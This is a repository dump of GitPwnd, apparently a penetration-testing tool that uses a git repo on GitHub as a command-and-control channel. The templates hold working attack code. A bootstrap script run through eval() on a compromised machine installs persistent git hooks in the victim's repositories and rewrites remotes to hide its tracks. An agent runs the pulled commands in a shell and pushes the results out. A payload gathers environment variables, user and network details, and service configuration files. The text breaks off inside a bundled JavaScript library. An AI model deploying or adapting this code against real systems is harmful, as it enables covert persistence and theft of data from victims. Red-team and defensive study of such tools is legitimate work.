Repository: nccgroup/gitpwnd
Branch: master
Commit: a47b9ba291c3
Files: 29
Total size: 82.0 KB
Directory structure:
gitextract_p06zdemw/
├── .gitignore
├── README.md
├── config.yml.example
├── gitpwnd/
│ ├── agent.py.template
│ ├── bootstrap.py.template
│ └── payload.py.template
├── requirements.txt
├── server/
│ ├── README.md
│ ├── gitpwnd/
│ │ ├── __init__.py
│ │ ├── controllers.py
│ │ ├── static/
│ │ │ ├── css/
│ │ │ │ └── prism.css
│ │ │ └── js/
│ │ │ └── prism.js
│ │ ├── templates/
│ │ │ ├── index.html
│ │ │ ├── layout.html
│ │ │ ├── macros.html
│ │ │ ├── nodes.html
│ │ │ └── setup.html
│ │ └── util/
│ │ ├── __init__.py
│ │ ├── crypto_helper.py
│ │ ├── file_helper.py
│ │ ├── git_helper.py
│ │ └── intel_helper.py
│ ├── requirements.txt
│ ├── run_ipython.sh
│ ├── server.py
│ ├── server_creds.yml.template
│ └── tests/
│ ├── sample_intel.json
│ └── test_intel_helper.py
└── setup.py
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
*.pyc
.DS_Store
*~
# These are auto-generated from a template
bootstrap.py
homebrew.python.ncc.plist
server_creds.yml
data/
config.yml
================================================
FILE: README.md
================================================
# GitPwnd
GitPwnd is a tool to aid in network penetration tests. GitPwnd allows an
attacker to send commands to compromised machines and receive the results back
using a git repo as the command and control transport layer. By using git as the
communication mechanism, the compromised machines don't need to communicate
directly with your attack server that is likely at a host or IP that's
untrusted by the compromised machine.
Currently GitPwnd assumes that the command and control git repo is hosted on
GitHub, but this is just an implementation detail for the current iteration.
The same technique is equally applicable to any service that can host a git
repo, whether it is BitBucket, Gitlab, etc.
## Setup and Installation
The GitPwnd setup script (`setup.py`) and server (`server/`) were written and
tested using Python3, but Python 2.7 will likely work as well. The bootstrapping process
to set up persistence on compromised machines was tested on Python 2.7.
### Set up GitPwnd
```
# Install Python dependencies
$ pip3 install -r requirements.txt --user
# Set up config
$ cp config.yml.example config.yml
# Configure config.yml with your custom info
# Run the setup script
$ python3 setup.py config.yml
```
### Run the GitPwnd Server
~~~
$ cd server/
$ pip3 install -r requirements.txt --user
$ python3 server.py
~~~
## Contributing
Contributions welcome! Please feel free to file an issue or PR and we'll get
back to you as soon as possible.
## Version Info
### v0.1
* Initial PoC feature-complete for BlackHat USA 2017.
## TODO
* [ ] Write a much more descriptive README
================================================
FILE: config.yml.example
================================================
# This file, if passed as the first argument to `setup.py`, will be used for
# the values for setting up gitpwnd.
# Enter the git clone URL of a popular library in the language used by the
# machine you're targeting.
# e.g. If you're attacking a Ruby on Rails shop, choose a popular gem.
benign_repo: "TODO"
# The personal access token for the primary GitHub account, the one who will own
# the private repo used for command and control
#
# This token needs the following permissions:
# - The top-level checkbox for "repo"
# - "gist"
# - "delete_repo"
# - "admin:repo_hook"
main_github_token: "TODO"
# The name to use for the private GitHub repo used for command and control.
# Unless you have a specific reason not to, it's probably best to use the
# same name as `benign_repo`.
github_c2_repo_name: "TODO"
# The personal access token for the secondary GitHub account. setup.py will generate
# an SSH key and add it to this account which will then be given to compromised nodes.
# Because of this, ensure that this account has minimal access to sensitive repos.
#
# NOTE:
# - This token needs to have the following permissions:
# - "admin:public_key" permission so that setup.py can add public keys.
# - "repo" so that it can access the main repo that has been shared
# - This does not need to be a paid GitHub account. It will be added as a collaborator
# to the private GitHub account that owns the private command and control repo.
secondary_github_token: ""
# The name of the SSH key generated for the secondary GitHub account
ssh_key_name: "gitpwnd"
# URL to gitpwnd attacker server, must be reachable by GitHub
# e.g. https://<IP> or https://<domain_name>
# NOTE: The server runs by default on port 5000, so include the
# port the server is running on in the below URL unless you're running
# on 80 or 443.
attacker_server: "TODO"
================================================
FILE: gitpwnd/agent.py.template
================================================
#!/usr/bin/env python
import os
from subprocess import Popen, PIPE
import imp
import uuid
import string
#####################################################################
# These settings need to be customized before the agent is deployed #
#####################################################################
# URL of our backdoored repo
REPO_CLONE_URL = "$repo_clone_url"
# Name to give the remote backdoored repo
REMOTE_REPO_NAME = "$remote_repo_name"
# Master branch for backdoored repo
REMOTE_REPO_MASTER_BRANCH = "$remote_repo_master_branch"
NODE_ID = "$node_id"
RESULTS_FILE = "results.json"
# Runs the passed string as a shell command
def run_command(command):
print("Running: %s" % command)
proc = Popen(command, stdout=PIPE, stderr=PIPE, shell=True, universal_newlines=True)
(out, err) = proc.communicate()
print(out, err)
return out, err
# Adds a new remote to the git repo in the current directory
def add_git_remote(remote_name, git_url):
cmd = "git remote add %s %s" % (remote_name, git_url)
run_command(cmd)
def git_checkout_branch(branch_name):
cmd = "git checkout -b %s" % (branch_name)
run_command(cmd)
def git_pull(remote_repo_name, remote_repo_master_branch):
cmd = "git pull %s %s" % (remote_repo_name, remote_repo_master_branch)
run_command(cmd)
def git_add(files):
cmd = "git add %s" % (files)
run_command(cmd)
def git_commit(message):
cmd = "git commit -m '%s'" % (message)
run_command(cmd)
def git_push(remote_name, branch_name):
cmd = "git push %s %s" % (remote_name, branch_name)
run_command(cmd)
# TODO: finish me
# Eventually this will look at who the current node is and see what commands they should run
def should_run_commands(repo_dir):
return True
# Load payload.py and run the commands it contains
def run_payload(repo_dir):
# the backdoored repo isn't on our path so load it's source directly so we can use it
payload_module = imp.load_source('payload', os.path.join(repo_dir, 'payload.py'))
payload = payload_module.Payload(NODE_ID)
payload.run()
payload.save_results()
return payload
def get_commit_info():
# TODO: eventually grab prior commit messages and use those or do some other
# steps to make it look legit. For now just return mostly hardcoded values.
return NODE_ID, "Make errors reported more clear"
# Current state of the repo:
# - Our backdoored repo has been added as a remote, named `remote_repo_name`
# - We have an additional local branch we've saved command output into
#
# We want to get rid of all these things so that we're left with only the benign
# remote and default master they'd see on GitHub/whatever.
def hide_git_tracks(remote_repo_name, commit_branch):
run_command("git checkout -b tmp")
run_command("git branch -d %s" % commit_branch) # delete the new branch we created
run_command("git branch -D master") # delete master in case commits from our backdoored repo have mingled
run_command("git remote remove %s" % remote_repo_name) # remove backdoored remote
run_command("git pull origin master") # get benign repo latest
run_command("git checkout master")
run_command("git branch -D tmp")
# NOTE: this assumes we're in .git/hooks, or at least appends "../../" to __file__
def get_current_repo_root():
cur_file = os.path.dirname(os.path.realpath(__file__))
return os.path.abspath(os.path.join(cur_file, "..", ".."))
def rewrite_script_add_node_id(path_to_this_script, node_id):
print("[*] Rewriting node_id")
with open(path_to_this_script, 'r') as f:
templatized_this_file = string.Template(f.read())
replaced_contents = templatized_this_file.safe_substitute({"node_id": node_id})
with open(path_to_this_script, 'w') as f:
f.write(replaced_contents)
f.flush()
def main(repo_dir, private_git_url, remote_repo_name, remote_repo_master_branch):
path_to_this_script = os.path.abspath(__file__)
# cd to REPO_DIR
os.chdir(repo_dir)
# Add the remote that will have commands for us
add_git_remote(remote_repo_name, private_git_url)
# checkout master of this new remote
git_checkout_branch(remote_repo_name + "/" + remote_repo_master_branch)
# If you wish to set tracking information for this branch you can do so with:
# git branch --set-upstream-to=<remote>/<branch> master
# git pull
git_pull(remote_repo_name, remote_repo_master_branch)
# determine if you should run the commands
if should_run_commands(repo_dir):
commit_branch, commit_message = get_commit_info()
# Generate node ID if we haven't already
if commit_branch == "$node" + "_id": # have to break it up else this comparison will also get rewritten
node_id = str(uuid.uuid4())
rewrite_script_add_node_id(path_to_this_script, node_id)
commit_branch = node_id
git_checkout_branch(commit_branch)
# grab further changes server-side from the last time we pushed
git_pull(remote_repo_name, commit_branch)
# run the commands and save the results to file
payload_obj = run_payload(repo_dir)
# commit the results
# the branch we'll commit this node's info to to push to the server
git_add(RESULTS_FILE)
# Git doesn't let you commit if you don't set user.name and user.email
need_to_reset_git_info = False
if git_commit_info_is_unset():
need_to_reset_git_info = True
set_git_commit_info("Gitpwnd", "gitpwnd@nccgroup.trust")
git_commit(commit_message)
# push results
git_push(remote_repo_name, commit_branch)
# Clean up locally
if need_to_reset_git_info:
remove_git_commit_info()
hide_git_tracks(remote_repo_name, commit_branch)
else:
print("[*] Skipping these commands, they're not for this node")
run_command("git branch -D %s" % (remote_repo_name + "/" + remote_repo_master_branch))
# Is git's user.name or user.email unset?
def git_commit_info_is_unset():
return_codes = []
for field in ["name", "email"]:
out = subprocess.Popen("git config --get user.%s" % (field), stdout=subprocess.PIPE, shell=True)
_ = out.communicate()[0]
return_codes.append(out.returncode)
# If either one didn't return a value, say that git info is unset
if return_codes.count(0) != 2:
return True
return False
# Unsets the git user.name and user.email
def remove_git_commit_info():
run_command("git config --unset user.name")
run_command("git config --unset user.email")
# Sets git's user.name and user.email to provided values
def set_git_commit_info(username, email):
run_command("git config user.name %s" % username)
run_command("git config user.email %s" % email)
# This agent file has been placed in a hook file in the command and control
# repo and is called by git hooks in other repos.
if __name__ == "__main__":
repo_dir = get_current_repo_root()
main(repo_dir, REPO_CLONE_URL, REMOTE_REPO_NAME, REMOTE_REPO_MASTER_BRANCH)
================================================
FILE: gitpwnd/bootstrap.py.template
================================================
# This will be hosted in a private GitHub gist and piped into eval()
# on a compromised node.
#
# It performs the following tasks:
# 1. Finds where on the OS python libraries are stored.
# 2. Clones the command and control repo there.
# 3. Installs a git hook into the backdoored repo so that whenever a git command is ran,
# new commands are pulled and their results pushed to the server.
# - The primary code that does this is placed in a git hook in the command
# and control repo.
#
# This repo includes a GitHub personal access token for the secondary account
# so that it can receive commands and push results from the GitHub C2 repo.
# This is the first thing ran on the victim computer after the backdoored
# repo has been cloned. This file will be at the root of the repo
import plistlib # builtin on OS X on Python 2.7
import glob
import sys
import shutil
import os
import subprocess
import time
import string
import site
PUBLIC_GIT_URL = "$benign_repo"
REPO_DIR_NAME = "$github_c2_repo_name"
# The git clone URL for the command and control repo. Note that the secondary
# user's personal access token is included in the URL so that this new machine
# can clone and push to it.
REPO_CLONE_URL = "$repo_clone_url"
HOOK_TYPES = ["pre-push", "post-merge", "pre-commit"]
DEFAULT_AGENT_HOOK = "post-merge.sample"
def install_agent(c2_repo_base_dir, agent_code, hook_type):
# http://githooks.com/
# post-merge hook is called whenever `git pull` is ran.
# https://github.com/git/git/blob/master/Documentation/githooks.txt#L178
agent_file = os.path.join(c2_repo_base_dir, ".git", "hooks", hook_type)
with open(agent_file, "w") as f:
f.write(agent_code)
return agent_file
# Undo any local changes that make us differ from master
# Local changes can make mucking with branches difficult, see bootstrap_osx() for more details
def undo_local_changes():
try:
subprocess.check_output("git checkout -- *", shell=True)
except subprocess.CalledProcessError: # check_output throws an exception if it returns non-zero status code
print("[!] Undoing local changes failed")
return False
return True
# When this bootstrap script is ran, origin points to our backdoored repo.
# This method makes origin point to the official benign repo, covering our tracks.
def make_remote_benign(c2_repo_dir, benign_git_url):
orig_dir = os.path.abspath(os.curdir)
try:
os.chdir(c2_repo_dir)
subprocess.check_output("git remote remove origin", shell=True)
subprocess.check_output("git remote add origin " + benign_git_url, shell=True)
# OK, now we need to cover our tracks - we've added the backdoor code in
# additional commits past the benign repo's master. If we just tried to use
# their master directly it wouldn't delete our additional commits. So instead we:
# - Change to a temporary branch so we can delete master
# - Grab their master branch and set it to ours
# - Delete the temporary branch
# git checkout -b tmp
subprocess.check_output("git checkout -b tmp", shell=True)
# git branch -d master
subprocess.check_output("git branch -d master", shell=True)
# git pull origin master
subprocess.check_output("git pull origin master", shell=True)
# git checkout master
subprocess.check_output("git checkout master", shell=True)
# git branch -d tmp
subprocess.check_output("git branch -D tmp", shell=True)
except subprocess.CalledProcessError: # check_output throws an exception if it returns non-zero status code
print("[!] Changing the `origin` remote failed")
return False
finally:
os.chdir(orig_dir)
def find_base_repo_dir():
return site.USER_SITE # default package location for pip install --user
# ~/Library/Python/<python_version>/lib/python/site-packages/ on OS X
# ~/.local/lib/python<python_version>/site-packages on Ubuntu
def find_final_repo_location():
install_dir = find_base_repo_dir()
if not os.path.exists(install_dir):
os.makedirs(install_dir)
# the directory we're going to clone the command and control repo to
final_repo_location = os.path.join(install_dir, REPO_DIR_NAME)
if os.path.exists(final_repo_location):
if is_our_c2_repo(final_repo_location, DEFAULT_AGENT_HOOK):
return False, final_repo_location # don't need to do anything, already installed
else:
final_repo_location += "-dev"
if os.path.exists(final_repo_location) and is_our_c2_repo(final_repo_location, DEFAULT_AGENT_HOOK):
return False, final_repo_location
return True, final_repo_location
# Checks if `dir_path` is the root of our command and control repo
def is_our_c2_repo(dir_path, hook_type):
agent_string = "hide_git_tracks" # arbitrary string that's unlikely to appear in not our hook
agent_file = os.path.join(dir_path, ".git", "hooks", hook_type)
if not os.path.isfile(agent_file):
return False
file_contents = open(agent_file, 'r').read()
if agent_string in file_contents:
return True
return False
# Returns the contents of what should be placed in the agent file
def get_agent_code(c2_base_dir):
# assume the agent file is agent.py in the root of the c2 repo
agent_file_path = os.path.join(c2_base_dir, "agent.py")
return open(agent_file_path, "r").read()
# Run the agent in the command and control repo, which is responsible for
# pulling new commands, running them, commiting the results, and pushing them
# back to be received by the attacker server
def run_agent(agent_path):
subprocess.check_output(agent_path, shell=True)
# Returns the contents that are going to be written to git hooks in the targeted
# and other git repos on the victim machine
def get_hook_contents(agent_file_path):
return """#!/bin/bash
%s &
""" % agent_file_path
def install_git_hook(git_repo_root_dir, hook_contents, hook_type):
hook_file = os.path.join(git_repo_root_dir, ".git", "hooks", hook_type)
with open(hook_file, "w") as f:
f.write(hook_contents)
subprocess.check_output("chmod u+x %s" % hook_file, shell=True)
# Returns the absolute path to this base of this repo
def find_root_of_git_repo(path):
cur_dir = path
while True:
cur_dir = os.path.abspath(cur_dir)
if cur_dir == "/":
return None
if os.path.isdir(os.path.join(cur_dir, ".git")):
return cur_dir
else:
cur_dir = os.path.join(cur_dir, "..")
def is_git_directory(path):
exit_code = subprocess.call(["git", "status"], cwd=path, stdout=open(os.devnull, 'w'), stderr=subprocess.STDOUT)
return (exit_code == 0)
def find_git_repos(base_dir):
git_repos = []
for directory in next(os.walk(base_dir))[1]:
full_path = os.path.abspath(directory)
if is_git_directory(full_path):
git_repos.append(full_path)
return git_repos
# Wrapper for bootstrapping that does different things based on platform
def bootstrap():
need_to_clone_repo, install_dir = find_final_repo_location()
if not need_to_clone_repo:
print("[!] Backdoor repo already installed in: %s" % install_dir)
else:
if not os.path.exists(install_dir):
os.makedirs(install_dir)
print(install_dir)
subprocess.check_output("git clone %s %s" % (REPO_CLONE_URL, install_dir), shell=True)
# Install agent code in cloned command and control repo
agent_file_path = install_agent(install_dir, get_agent_code(install_dir), "post-merge.sample")
print("[*] Installing agent to: %s" % agent_file_path)
# chmod the agent so it's executable
subprocess.check_output("chmod u+x %s" % agent_file_path, shell=True)
run_agent(agent_file_path)
hook_types = HOOK_TYPES
cur_dir_root = find_root_of_git_repo(".")
if cur_dir_root == "/":
print("[!] Didn't find a git repo in this or parent directories until /")
else:
print("[*] Installing git hooks to: %s" % cur_dir_root)
for hook in hook_types:
install_git_hook(cur_dir_root, get_hook_contents(agent_file_path), hook)
other_git_repos = find_git_repos(os.path.join(cur_dir_root, ".."))
other_git_repos = [x for x in other_git_repos if x != cur_dir_root] # don't install where we already have
for repo in other_git_repos:
for hook in hook_types:
install_git_hook(repo, get_hook_contents(agent_file_path), hook)
# # Remove the backdoored git repo, set the public benign one to origin
make_remote_benign(install_dir, PUBLIC_GIT_URL)
if __name__ == "__main__":
bootstrap()
================================================
FILE: gitpwnd/payload.py.template
================================================
import sys
import os
import json
from subprocess import Popen, PIPE
import uuid
import datetime
import pwd
class Payload:
#############################
## Core required functions ##
#############################
def __init__(self, node_id):
self.results = {}
self.node_id = node_id
# This is the main() method that's called by compromised machines
# Gather info/run commands and store the results in self.results
def run(self):
self.results["username"] = self.get_username()
self.results["whoami"] = self.get_whoami()
self.results["mac_address"] = self.get_mac_address()
self.results["env"] = self.get_env()
self.results["ifconfig"] = self.get_ifconfig()
self.results["ps_services"] = self.get_services()
self.results["node_id"] = self.get_node_id()
self.results["python_version"] = self.get_python_version()
self.results["service_configs"] = self.get_service_configs()
self.results["time_ran"] = self.get_time_ran()
# This is called after run() as the final step in the payload, saving the results
# to a file.
# - agent.py handles committing and pushing the results.
def save_results(self, filename = "results.json"):
with open(filename, 'w') as f:
json.dump(self.results, f)
#############
## Helpers ##
#############
# Runs the passed string as a shell command
def run_command(self, command):
print("[*] running: %s" % command)
try:
proc = Popen(command, stdout=PIPE, stderr=PIPE, shell=True, universal_newlines=True)
(out, err) = proc.communicate()
return {"stdout": out, "stderr": err}
except:
return {"stdout": "", "stderr": "Command threw an exception"}
#################################################################
# Below are various helper functions to gather environment info #
#################################################################
def get_python_version(self):
print("[*] get_python_version")
x = sys.version_info
return {"major": x.major, "minor": x.minor, "micro": x.micro,
"releaselevel": x.releaselevel}
def get_env(self):
return dict(os.environ) # dumping this to JSON fails unless you explicitly cast it to a dict
def get_username(self):
try:
# apparently os.getlogin() is known to fail. Good job.
# https://stackoverflow.com/questions/3100750/running-command-in-background
# return os.getlogin()
return pwd.getpwuid(os.geteuid()).pw_name
except:
return "os.getlogin() failed"
def get_whoami(self):
return self.run_command("whoami")["stdout"].strip()
def get_ifconfig(self):
return self.run_command("ifconfig")
#############################################################################
#Payloads for Linux Priv Esc tasks #
#Credit : https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/#
#############################################################################
# Get running services
def get_services(self):
return self.run_command("ps aux")
#Misconfigured Services and vuln plugins
def get_service_configs(self):
return {
"syslog": self.run_command("cat /etc/syslog.conf"),
"chttp": self.run_command("cat /etc/chttp.conf"),
"lighthttpd": self.run_command("cat /etc/lighttpd.conf"),
"cupsd": self.run_command("cat /etc/cups/cupsd.conf"),
"inetd": self.run_command("cat /etc/inetd.conf"),
"my": self.run_command("cat /etc/my.conf"),
"httpd": self.run_command("cat /etc/httpd/conf/httpd.conf"),
"httpd_opt": self.run_command("cat /opt/lampp/etc/httpd.conf")
}
# http://stackoverflow.com/questions/159137/getting-mac-address
def get_mac_address(self):
mac_addr = uuid.getnode()
if mac_addr == uuid.getnode(): # apparently sometimes it'll lie, see the stack overflow link
return ':'.join(("%012X" % mac_addr)[i:i+2] for i in range(0, 12, 2))
else:
"maybewrong " + ':'.join(("%012X" % mac_addr)[i:i+2] for i in range(0, 12, 2))
def get_time_ran(self):
return str(datetime.datetime.now())
def get_node_id(self):
return self.node_id
================================================
FILE: requirements.txt
================================================
PyGithub
pyyaml
ipdb
================================================
FILE: server/README.md
================================================
# GitPwnd Server
The GitPwnd server listens for webhook pushes from GitHub (currently) or other
git providers that occur when a `git push` has occurred to the command and
control git repo set up by `../setup.py`.
It then automatically extracts the output of the commands run by the
compromised machine and stores them locally.
The web interface then allows you to view the extracted information.
## Getting Set Up
~~~
$ pip install -r requirements.txt --user
# or use virtualenv, etc
~~~
## Running
~~~
$ python3 server.py
~~~
## Routes
Quick notes on important routes:
* POST `/api/repo_push` - hook you set up in GitLab/GitHub/etc for the backdoored repo that sends a push whenever the repo is pushed to.
* [GitHub docs](https://developer.github.com/webhooks/)
* [Gitlab docs](https://gitlab.com/gitlab-org/gitlab-ce/blob/master/doc/user/project/integrations/webhooks.md) - will integrate in the future.
================================================
FILE: server/gitpwnd/__init__.py
================================================
from flask import Flask
from gitpwnd.util.file_helper import FileHelper
from flask_basicauth import BasicAuth
import yaml
import os
import ipdb
app = Flask(__name__)
# Parse basic auth creds from file
with open("server_creds.yml", 'r') as f:
server_config = yaml.load(f)
app.config['BASIC_AUTH_USERNAME'] = server_config["basic_auth_username"]
app.config['BASIC_AUTH_PASSWORD'] = server_config["basic_auth_password"]
app.config['HOOK_SECRET'] = server_config["hook_secret"]
# TODO: fix the naming confusion. This is the path to a local version of the repo
# we're using for command and control
app.config["BACKDOORED_REPOS_PATH"] = os.path.dirname(server_config["benign_repo_path"])
app.config["APP_ROOT"] = os.path.dirname(os.path.abspath(__file__))
app.config["INTEL_ROOT"] = os.path.join(app.config["BACKDOORED_REPOS_PATH"], "..", "intel")
app.config["INTEL_ROOT"] = os.path.abspath(app.config["INTEL_ROOT"])
basic_auth = BasicAuth(app)
# Ensure some directories we'll be storing important things in are created
FileHelper.ensure_directory(app.config["BACKDOORED_REPOS_PATH"])
FileHelper.ensure_directory(app.config["INTEL_ROOT"])
from gitpwnd import controllers
================================================
FILE: server/gitpwnd/controllers.py
================================================
from flask import Flask
from flask import render_template
from flask import redirect
from flask import url_for
from flask import request, session, send_file, send_from_directory
from flask import make_response # for setting cookies
import flask
import ipdb
import json
from functools import wraps
from gitpwnd import app, basic_auth
from gitpwnd.util.git_helper import GitHelper
from gitpwnd.util.file_helper import FileHelper
from gitpwnd.util.intel_helper import IntelHelper
from gitpwnd.util.crypto_helper import CryptoHelper
# Basic auth adapted from the following didn't quite do what I wanted
# http://flask.pocoo.org/snippets/8/
# Instead used:
# https://flask-basicauth.readthedocs.io/en/latest/
##########
# Routes #
##########
@app.route("/")
@basic_auth.required
def index():
return render_template("index.html")
@app.route("/setup")
@basic_auth.required
def setup():
return render_template("setup.html")
@app.route("/nodes")
@basic_auth.required
def nodes():
intel_results = IntelHelper.parse_all_intel_files(app.config["INTEL_ROOT"])
if len(intel_results) == 0:
return render_template("nodes.html", intel=intel_results)
else:
intel_results = IntelHelper.json_prettyprint_intel(intel_results)
return render_template("nodes.html", intel=intel_results)
##############
# API Routes #
##############
@app.route("/api/repo/receive_branch", methods=["POST"])
def receive_branch():
payload = request.get_json()
secret = request.headers["X-Hub-Signature"]
if not CryptoHelper.verify_signature(payload, secret):
abort(500, {"message": "Signatures didn't match!"})
repo_name = payload["repository"]["name"]
branch = payload["ref"].split("/")[-1]
GitHelper.import_intel_from_branch(repo_name, branch, app.config["BACKDOORED_REPOS_PATH"], app.config["INTEL_ROOT"])
return "OK"
================================================
FILE: server/gitpwnd/static/css/prism.css
================================================
/* http://prismjs.com/download.html?themes=prism&languages=markup+css+clike+javascript+json */
/**
* prism.js default theme for JavaScript, CSS and HTML
* Based on dabblet (http://dabblet.com)
* @author Lea Verou
*/
code[class*="language-"],
pre[class*="language-"] {
color: black;
background: none;
text-shadow: 0 1px white;
font-family: Consolas, Monaco, 'Andale Mono', 'Ubuntu Mono', monospace;
text-align: left;
white-space: pre;
word-spacing: normal;
word-break: normal;
word-wrap: normal;
line-height: 1.5;
-moz-tab-size: 4;
-o-tab-size: 4;
tab-size: 4;
-webkit-hyphens: none;
-moz-hyphens: none;
-ms-hyphens: none;
hyphens: none;
}
pre[class*="language-"]::-moz-selection, pre[class*="language-"] ::-moz-selection,
code[class*="language-"]::-moz-selection, code[class*="language-"] ::-moz-selection {
text-shadow: none;
background: #b3d4fc;
}
pre[class*="language-"]::selection, pre[class*="language-"] ::selection,
code[class*="language-"]::selection, code[class*="language-"] ::selection {
text-shadow: none;
background: #b3d4fc;
}
@media print {
code[class*="language-"],
pre[class*="language-"] {
text-shadow: none;
}
}
/* Code blocks */
pre[class*="language-"] {
padding: 1em;
margin: .5em 0;
overflow: auto;
}
:not(pre) > code[class*="language-"],
pre[class*="language-"] {
background: #f5f2f0;
}
/* Inline code */
:not(pre) > code[class*="language-"] {
padding: .1em;
border-radius: .3em;
white-space: normal;
}
.token.comment,
.token.prolog,
.token.doctype,
.token.cdata {
color: slategray;
}
.token.punctuation {
color: #999;
}
.namespace {
opacity: .7;
}
.token.property,
.token.tag,
.token.boolean,
.token.number,
.token.constant,
.token.symbol,
.token.deleted {
color: #905;
}
.token.selector,
.token.attr-name,
.token.string,
.token.char,
.token.builtin,
.token.inserted {
color: #690;
}
.token.operator,
.token.entity,
.token.url,
.language-css .token.string,
.style .token.string {
color: #a67f59;
background: hsla(0, 0%, 100%, .5);
}
.token.atrule,
.token.attr-value,
.token.keyword {
color: #07a;
}
.token.function {
color: #DD4A68;
}
.token.regex,
.token.important,
.token.variable {
color: #e90;
}
.token.important,
.token.bold {
font-weight: bold;
}
.token.italic {
font-style: italic;
}
.token.entity {
cursor: help;
}
================================================
FILE: server/gitpwnd/static/js/prism.js
================================================
/* http://prismjs.com/download.html?themes=prism&languages=markup+css+clike+javascript+json */
var _self="undefined"!=typeof window?window:"undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?self:{},Prism=function(){var e=/\blang(?:uage)?-(\w+)\b/i,t=0,n=_self.Prism={manual:_self.Prism&&_self.Prism.manual,util:{encode:function(e){return e instanceof a?new a(e.type,n.util.encode(e.content),e.alias):"Array"===n.util.type(e)?e.map(n.util.encode):e.replace(/&/g,"&").replace(/</g,"<").replace(/\u00a0/g," ")},type:function(e){return Object.prototype.toString.call(e).match(/\[object (\w+)\]/)[1]},objId:function(e){return e.__id||Object.defineProperty(e,"__id",{value:++t}),e.__id},clone:function(e){var t=n.util.type(e);switch(t){case"Object":var a={};for(var r in e)e.hasOwnProperty(r)&&(a[r]=n.util.clone(e[r]));return a;case"Array":return e.map&&e.map(function(e){return n.util.clone(e)})}return e}},languages:{extend:function(e,t){var a=n.util.clone(n.languages[e]);for(var r in t)a[r]=t[r];return a},insertBefore:function(e,t,a,r){r=r||n.languages;var l=r[e];if(2==arguments.length){a=arguments[1];for(var i in a)a.hasOwnProperty(i)&&(l[i]=a[i]);return l}var o={};for(var s in l)if(l.hasOwnProperty(s)){if(s==t)for(var i in a)a.hasOwnProperty(i)&&(o[i]=a[i]);o[s]=l[s]}return n.languages.DFS(n.languages,function(t,n){n===r[e]&&t!=e&&(this[t]=o)}),r[e]=o},DFS:function(e,t,a,r){r=r||{};for(var l in e)e.hasOwnProperty(l)&&(t.call(e,l,e[l],a||l),"Object"!==n.util.type(e[l])||r[n.util.objId(e[l])]?"Array"!==n.util.type(e[l])||r[n.util.objId(e[l])]||(r[n.util.objId(e[l])]=!0,n.languages.DFS(e[l],t,l,r)):(r[n.util.objId(e[l])]=!0,n.languages.DFS(e[l],t,null,r)))}},plugins:{},highlightAll:function(e,t){var a={callback:t,selector:'code[class*="language-"], [class*="language-"] code, code[class*="lang-"], [class*="lang-"] code'};n.hooks.run("before-highlightall",a);for(var r,l=a.elements||document.querySelectorAll(a.selector),i=0;r=l[i++];)n.highlightElement(r,e===!0,a.callback)},highlightElement:function(t,a,r){for(var l,i,o=t;o&&!e.test(o.className);)o=o.parentNode;o&&(l=(o.className.match(e)||[,""])[1].toLowerCase(),i=n.languages[l]),t.className=t.className.replace(e,"").replace(/\s+/g," ")+" language-"+l,o=t.parentNode,/pre/i.test(o.nodeName)&&(o.className=o.className.replace(e,"").replace(/\s+/g," ")+" language-"+l);var s=t.textContent,u={element:t,language:l,grammar:i,code:s};if(n.hooks.run("before-sanity-check",u),!u.code||!u.grammar)return u.code&&(u.element.textContent=u.code),n.hooks.run("complete",u),void 0;if(n.hooks.run("before-highlight",u),a&&_self.Worker){var g=new Worker(n.filename);g.onmessage=function(e){u.highlightedCode=e.data,n.hooks.run("before-insert",u),u.element.innerHTML=u.highlightedCode,r&&r.call(u.element),n.hooks.run("after-highlight",u),n.hooks.run("complete",u)},g.postMessage(JSON.stringify({language:u.language,code:u.code,immediateClose:!0}))}else u.highlightedCode=n.highlight(u.code,u.grammar,u.language),n.hooks.run("before-insert",u),u.element.innerHTML=u.highlightedCode,r&&r.call(t),n.hooks.run("after-highlight",u),n.hooks.run("complete",u)},highlight:function(e,t,r){var l=n.tokenize(e,t);return a.stringify(n.util.encode(l),r)},tokenize:function(e,t){var a=n.Token,r=[e],l=t.rest;if(l){for(var i in l)t[i]=l[i];delete t.rest}e:for(var i in t)if(t.hasOwnProperty(i)&&t[i]){var o=t[i];o="Array"===n.util.type(o)?o:[o];for(var s=0;s<o.length;++s){var u=o[s],g=u.inside,c=!!u.lookbehind,h=!!u.greedy,f=0,d=u.alias;if(h&&!u.pattern.global){var p=u.pattern.toString().match(/[imuy]*$/)[0];u.pattern=RegExp(u.pattern.source,p+"g")}u=u.pattern||u;for(var m=0,y=0;m<r.length;y+=r[m].length,++m){var v=r[m];if(r.length>e.length)break e;if(!(v instanceof a)){u.lastIndex=0;var b=u.exec(v),k=1;if(!b&&h&&m!=r.length-1){if(u.lastIndex=y,b=u.exec(e),!b)break;for(var w=b.index+(c?b[1].length:0),_=b.index+b[0].length,P=m,A=y,j=r.length;j>P&&_>A;++P)A+=r[P].length,w>=A&&(++m,y=A);if(r[m]instanceof a||r[P-1].greedy)continue;k=P-m,v=e.slice(y,A),b.index-=y}if(b){c&&(f=b[1].length);var w=b.index+f,b=b[0].slice(f),_=w+b.length,x=v.slice(0,w),O=v.slice(_),S=[m,k];x&&S.push(x);var N=new a(i,g?n.tokenize(b,g):b,d,b,h);S.push(N),O&&S.push(O),Array.prototype.splice.apply(r,S)}}}}}return r},hooks:{all:{},add:function(e,t){var a=n.hooks.all;a[e]=a[e]||[],a[e].push(t)},run:function(e,t){var a=n.hooks.all[e];if(a&&a.length)for(var r,l=0;r=a[l++];)r(t)}}},a=n.Token=function(e,t,n,a,r){this.type=e,this.content=t,this.alias=n,this.length=0|(a||"").length,this.greedy=!!r};if(a.stringify=function(e,t,r){if("string"==typeof e)return e;if("Array"===n.util.type(e))return e.map(function(n){return a.stringify(n,t,e)}).join("");var l={type:e.type,content:a.stringify(e.content,t,r),tag:"span",classes:["token",e.type],attributes:{},language:t,parent:r};if("comment"==l.type&&(l.attributes.spellcheck="true"),e.alias){var i="Array"===n.util.type(e.alias)?e.alias:[e.alias];Array.prototype.push.apply(l.classes,i)}n.hooks.run("wrap",l);var o=Object.keys(l.attributes).map(function(e){return e+'="'+(l.attributes[e]||"").replace(/"/g,""")+'"'}).join(" ");return"<"+l.tag+' class="'+l.classes.join(" ")+'"'+(o?" "+o:"")+">"+l.content+"</"+l.tag+">"},!_self.document)return _self.addEventListener?(_self.addEventListener("message",function(e){var 